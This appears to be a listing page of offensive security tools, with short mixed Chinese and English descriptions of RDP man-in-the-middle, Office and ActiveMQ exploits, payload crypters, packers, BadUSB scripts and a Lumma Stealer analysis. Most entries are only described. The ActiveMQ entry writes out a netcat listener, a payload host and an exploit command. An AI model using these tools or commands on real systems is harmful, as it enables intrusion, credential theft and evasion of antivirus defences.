pyrdp

PyRDP PyRDP 是一个使用 Python 编写的远程桌面协议 RDP 中间人 MITM 工具和库。 它包含以下几个工具： RDP 中间人攻击 记录连接时使用的明文凭据或 NetNTLM 哈希值 窃取复制到剪贴板的数据 保存通过网络传输的文件副本 后台爬取共享驱动器并将其本地保存 保存连接回放，以便日后查看 在新连接上自动运行控制台命令或 PowerShell 负载 RDP 播放器： 查看来自 MITM 的实时 RDP 连接 查看 RDP 连接回放 在隐藏操作的同时控制活跃的 RDP 会话 在活跃会话期间列出客户端映射的驱动器并从其中下载文件 转换工具： 将 RDP...

CVE-2017-0199

Exploit toolkit CVE-2017-0199 - v4.0 Exploit toolkit CVE-2017-0199 - v4.0 is a handy python script which provides pentesters and security researchers a quick and effective way to test Microsoft Office RCE. It could generate a malicious RTF/PPSX file and deliver metasploit / meterpreter / other...

ByteCaster

ByteCaster 用于载荷加密、混淆和转换为字节数组的瑞士军刀——一切尽在一条命令中！ 它支持 3 种加密算法、4 种编码/混淆算法和 14 种输出格式。 安装 下载已编译的二进制文件 或编译 Go 源代码。 使用方法 示例： root@kitploit: Convert .bin file into C bytes array with XOR encryption and IPv4Fuscation ./ByteCaster -i shellcode.bin -f c -x xor -k 'Test123' -e ipv4 Convert .bin file into base6...

Lumma-Stealer-dllhost-Hollowing-C2-Domains-Payload-Extraction-Analysis

1. Setup.exe – 隐私、驱动与内存字符串 对 setup.exe 投放器的 Process Hacker 内存分析显示，Lumma Stealer 针对隐私设置、安装驱动程序并管理内存。 观察到的关键字符串： Privacy Camera – 尝试访问或禁用摄像头隐私设置。 Privacy Microphone – 尝试访问或禁用麦克风隐私设置。 PreinstallDriver – 表明为持久化或规避而安装驱动程序。 MapMemoryB0000 – 内存映射操作（可能用于注入）。 为何重要： 隐私绕过： 该恶意软件可能禁用摄像头/麦克风隐私设置。 驱动程序安装：...

Invoke-PSImage

Invoke-PSImage Encodes a PowerShell script in the pixels of a PNG file and generates a oneliner to execute Invoke-PSImage takes a PowerShell script and encodes the bytes of the script into the pixels of a PNG image. It generates a oneliner for executing either from a file of from the web. It can...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Apache ActiveMQ 未经身份验证的远程代码执行的 Python 实现 设置与利用 nc -lvnp 4444 - 启动监听器 python3 -m http.server 8080 - 托管包含你 payload 的 poc.xml python3 CVE-2023-46604-RCE.py -i -p -u http://:8080/poc.xml - 启动利用...

PAYLOAD-LISTS

载荷 载荷列表： SSTI注入载荷 XXE载荷 XSS载荷 服务端请求伪造SSRF SQL注入载荷 开放重定向载荷 NoSQL注入载荷 LDAP注入载荷 文件包含载荷 命令注入载荷 CRLF注入载荷 代码注入载荷 服务端JavaScript注入SSJI载荷 XPATH注入载荷 CSV注入载荷...

CVE-2017-0199

CVE-2017-0199 Exploit toolkit CVE-2017-0199 - v2.0 is a handy python script which provides a quick and effective way to exploit Microsoft RTF RCE. It could generate a malicious RTF file and deliver metasploit / meterpreter payload to victim without any complex configuration. Release note:...

log4j2_dos_exploit

Description about author: iAmSoScArEd blog: https://www.cnblogs.com/iAmSoScArEd/ github: https://github.com/iAmSOScArEd/ date: 2021-12-20 log4j2 dos exploit log4j2 dos exploit script CVE-2021-45105 Exploit CVE-2021-45105 exploit script Usage how to use English： root@kitploit: Log4j2dos.py -u -m -...

geoexplorer

GeoExplorer Client This is the client component of the GeoExplorer project, designed to send requests to GeoServer instances and test for potential vulnerabilities. Requirements Python 3.x Required Python packages install using pip install -r requirements.txt: requests argparse urllib3 Usage Run...

reflector

reflector Description Burp Suite extension is able to find reflected XSS on page in real-time while browsing on web-site and include some features as: Highlighting of reflection in the response tab. Test which symbols is allowed in this reflection. Analyze of reflection context. Content-Type...

Cheshire

Cheshire 面向 Adaptix 的预检载荷质量保证，由 LitterBox 驱动。 Cheshire 是一个 Adaptix C2 服务插件，它将 Adaptix 客户端连接到 LitterBox 沙箱。操作员可以在 Adaptix UI 内部选取任意二进制文件，将其提交至 LitterBox 的完整分析链（静态 + 动态 + 每个可达的 EDR 配置文件），并在不离开 Adaptix 的情况下观察判定结果。 名称遵循项目吉祥物的谱系： Adaptix → 变色龙 LitterBox → 暴躁猫 连接两者的桥梁 → Cheshire （那只咧嘴笑、时隐时现、告诉你前路是否安全的猫...

NimSyscallPacker

NimSyscallPacker / Loader 该工具是在 x33fcon 的一次演讲后公开的。它是我 2021 至 2024 年的私人主要编码项目，目前已被视为废弃，不再维护。不要指望我这边提供错误修复或功能更新。取而代之的是，RustPack 现在作为面向经过审查的红队和渗透测试人员的商业受控版本进行维护，它功能更丰富，而且 OPSec 安全性也高得多。 此 Packer 可用于将任何 C Assembly、PE 文件或 Shellcode 打包到 Nim 二进制文件中。它将加密目标载荷，根据给定参数生成相应的 Nim 源代码，并将其编译为 Nim 二进制文件。 设置...

BadUSB-Files-For-FlipperZero

Ducky-Script-For-FlipperZero 本仓库是一个脚本合集，这些脚本已专门针对 FlipperZero 上的 BadUSB/BadKB 功能进行了更新。 不过，它们在任何使用 Ducky Script 的设备上也应该可以正常工作。 这些脚本涵盖从无害的恶作剧到恶意的红队工具。 ⚠️ 法律与道德声明 本仓库仅用于教育、研究、实验室环境以及经授权的安全评估 。 此处展示的工具和技术仅可用于： 你自己的实验室或测试环境。 针对你拥有的系统。 针对你已获得所有者明确许可的系统。 未经授权将这些材料用于第三方系统是非法且不道德的。...

spring4shell-scan

spring4shell-scan 一个完全自动化、可靠、精确的扫描器，用于发现 Spring4Shell 和 Spring Cloud RCE 漏洞 功能特性 支持 URL 列表。 针对超过10种新的Spring4Shell Payload进行模糊测试（先前工具仅使用1-2种变体）。 对HTTP GET和POST方法进行模糊测试。 发现漏洞时自动验证。 随机且非侵入性 Payload。 WAF绕过Payload。 描述 Spring4Shell RCE是一个关键漏洞，FullHunt自其发布以来一直在研究。我们与客户合作，扫描其环境中的Spring4Shell和Spring Cloud...

OpenRedireX

OpenRedireX A fuzzer for detecting open redirect vulnerabilities 🏗️ Install ⛏️ Usage 📚 Dependencies Install root@kitploit: git clone https://github.com/devanshbatham/openredirex cd openredirex sudo chmod +x setup.sh ./setup.sh Usage The script is executed from the command line and has the following...

drinkme

drinkme drinkme 是一个 shellcode 测试工具。它从标准输入读取 shellcode 并执行。这使得渗透测试人员能够在部署前快速测试其有效载荷。 格式 drinkme 可以处理以下格式的 shellcode： "0x" "\x" "x" "" 例如，NOP 可以表示为 "0x90"、"\x90"、"x90" 或 "90" 中的任意一种。 在处理输入时， drinkme 将忽略以下内容： C 和 C++ 风格的注释。 所有空白字符。 集合 ",; 中的任何字符。 示例 writeSTDOUTFILENO, "Hello world!\n", strlen"Hello...

ASWCrypter

Welcome to the ASWCrypter script v1.0 100% FUD An Bash&Python Script For Generating Payloads that Bypasses All Antivirus so far FUD ; . PLEASE DON'T UPLOAD BACKDOOT TO WWW.VIRUSTOTAL.COM 23/08/2018 Important This Version Just for test , In future I will update ASWCrypter to generate a payloads fo...

drow

drow 描述 太长不看 drow 是一个命令行工具，用于注入代码并钩取 ELF 可执行文件（构建后）的入口点。它接收未经修改的 ELF 可执行文件作为输入，并输出一个包含用户提供的内嵌 payload 的修改版 ELF，该 payload 在运行时执行。 稍微详细一些…… Drow 执行以下步骤来创建新的修补版 ELF： 1. 映射未修改的目标 ELF 可执行文件和用户提供的 payload（一个位置无关的 blob） 2. 通过解析程序头定位第一个可执行段 3. 通过解析节头定位可执行段中的最后一个节 4. 将（段中的）最后一个节的节头 shsize 和程序头...

drow

drow Description TL;DR drow is a command-line utility that is used to inject code and hook the entrypoint of ELF executables post-build. It takes unmodified ELF executables as input and exports a modified ELF contianing an embedded user-supplied payload that executes at runtime. Slightly more...